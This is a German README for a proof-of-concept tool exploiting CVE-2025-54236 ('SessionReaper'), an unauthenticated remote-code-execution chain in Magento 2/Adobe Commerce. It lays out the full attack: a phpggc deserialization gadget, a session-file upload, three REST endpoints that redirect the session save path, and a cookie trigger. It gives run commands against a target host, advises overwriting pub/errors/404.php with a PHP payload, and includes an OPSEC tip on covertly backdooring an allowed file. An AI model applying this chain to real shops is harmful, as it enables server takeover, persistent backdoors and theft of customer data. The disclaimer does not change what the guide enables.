
PoC Magento Session Reaper - CVE-2025-54236
Vereinheitlichter PoC für CVE-2025-54236 ("SessionReaper"), eine kritische, nicht authentifizierte RCE in Magento 2 / Adobe Commerce durch verschachtelte Deserialisierung in der REST-API.
ServiceInputProcessor; die Exploit-Primitive ist unsichere Deserialisierung (CWE-502)Nur für autorisierte Sicherheitstests. Ausschließlich gegen Systeme verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Das Tool kombiniert drei Phasen, die allen Vektoren gemeinsam sind, plus einen Auslöser:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> erzeugt ein serialisiertes Objekt, das bei Deserialisierung payload.php in <remote_path> schreibt.POST /customer/address_file/upload speichert den serialisierten Blob als sess_<SESSID>. Magento verteilt hochgeladene Adressdateien nach den ersten Zeichen des Dateinamens, so dass es unter media/customer_address/s/e/sess_<SESSID> landet (daher das s/e/ in --save-path).Session\Config und weist über setSavePath() → setOption() → ini_set('session.save_path', ...) (ein prozessglobaler Seiteneffekt) den PHP-Session-Handler auf den hochgeladenen Blob.Cookie: PHPSESSID=<SESSID> zwingt session_start(), die präparierte Datei zu lesen und zu unserialize(), wodurch das Gadget ausgelöst und die Nutzlast geschrieben wird.Alle drei Vektoren erreichen die gleiche Senke (context → urlBuilder → session → sessionConfig → savePath). Sie unterscheiden sich nur im Endpunkt, HTTP-Verb und dem beteiligten Magento-Modul – nützlich, wenn eine WAF oder ein deaktiviertes Modul einen Endpunkt blockiert, aber nicht einen anderen.
Für keinen Vektor ist ein echter Warenkorb erforderlich. ServiceInputProcessor deserialisiert die Methodenparameter während der Eingabeauflösung – bevor der Dienst eine Warenkorbabfrage aufruft –, so dass eine Dummy-cartId von abc bei allen drei die Senke erreicht. Der anschließende Fehler "Warenkorb nicht gefunden" (404/500) ist zu erwarten und bestätigt, dass der Deserialisierungs-Seiteneffekt bereits ausgelöst wurde.
Ein
--sku-Flag ist verfügbar, falls das Tool einen echten Gast-Warenkorb erstellen und vor dem Auslösen ein Produkt hinzufügen soll (über GraphQL verifiziert). Dies ist optional und für die Ausnutzung nicht erforderlich – es existiert nur für Umgebungen, in denen Sie einen vollständig realistischen Checkout-Ablauf bevorzugen. Lassen Sie es weg und das Tool verwendet den Dummy-abc-Warenkorb.
var/session/). Redis- und datenbankgestützte Sessions werden von dieser spezifischen RCE-Kette nicht beeinflusst. Dies ist nicht remote enumerierbar, daher muss es blind versucht werden./customer/address_file/upload ohne Authentifizierung erreichbar.requestsphpggc — automatisch erkannt im PATH, in üblichen Installationsorten, oder als Fallback als Docker-Image ambionics/phpggc gezogenpayload.php im gleichen Verzeichnis wie das Skript (muss mit <?php beginnen)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
Das Tool verwendet zwei unabhängige Store-Codes:
--api-store — der Bereich in der Deserialisierungs-Anfrage-URL (/rest/<api-store>/V1/guest-carts/...), in dem ServiceInputProcessor läuft.--store — der Bereich für die Trigger-Anfrage (GET /<store>/) und, falls --sku verwendet wird, für die Warenkorbanfragen.Store-Ansichts-Codes werden vom Administrator definiert; gehen Sie nicht von es/fr aus. Ermitteln Sie zuerst die aktiven Store-Ansichten – eine Anfrage gegen einen nicht existierenden Bereich schlägt einfach fehl.
pub/errors/404.phpDie Standard-Nginx-Konfiguration von Magento leitet nur sieben PHP-Dateien an fastcgi_backend weiter:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Jede andere .php (einschließlich aller in pub/media/ abgelegten Dateien) wird verweigert und niemals ausgeführt. Daher muss die Nutzlast eine dieser sieben freigegebenen Dateien überschreiben, anstatt eine neue abzulegen. pub/errors/404.php ist die Standardoption, weil Magento sie intern bei jeder fehlenden Seite rendert, sodass sie in einem Live-Store oft ausgelöst wird.
OPSEC: Das direkte Überschreiben von
404.phpist auffällig (es wird bei jedem 404 ausgeführt). Bei einem realen Einsatz sollten Sie stattdessen eine freigegebene Datei subtil mit einem Hintertürchen versehen, anstatt sie zu überschreiben.
--username/--password werden nur benötigt, wenn Sie für ein bestimmtes Setup ein Bearer-Token wünschen./tmp/sess_<SESSID> wird beim Beenden entfernt.Bereitgestellt nur für autorisierte Sicherheitsforschung und -tests. Der Autor übernimmt keine Haftung für Missbrauch. Nicht gegen Systeme ohne ausdrückliche Genehmigung ausführen.
| Methode | Endpunkt | Verb | Einstiegspunkt in die Kette |
|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
| Flag | Standard | Beschreibung |
|---|
--host | (erforderlich) | Ziel-Basis-URL |
--method | (erforderlich) | address | checkmo | order |
--store | default | Store-Code für die Trigger-Anfrage (und Warenkorb, falls --sku verwendet wird) |
--api-store | default | Store-Code in der Deserialisierungs-Endpunkt-URL (all | es | default | benutzerdefiniert) |
--sku | (keiner) | Optional. Falls gesetzt, wird ein echter Gast-Warenkorb mit dieser SKU erstellt. Nicht erforderlich. |
--payload-in | payload.php | PHP-Nutzlast, die auf das Ziel geschrieben werden soll |
--payload-out | /var/www/html/pub/errors/404.php | Remote-Schreibpfad (muss ein webfähiger Speicherort sein – siehe Hinweis unten) |
--save-path | media/customer_address/s/e/ | savePath, der in die Gadget-Kette eingefügt wird |
--phpggc | (auto) | Expliziter Pfad zur phpggc-Binärdatei |
--proxy | http://127.0.0.1:8081 | HTTP-Proxy (z.B. Burp) |
--no-proxy | aus | Proxy deaktivieren |
--username / --password | (keine) | Optionale Kundenanmeldeinformationen für ein Bearer-Token |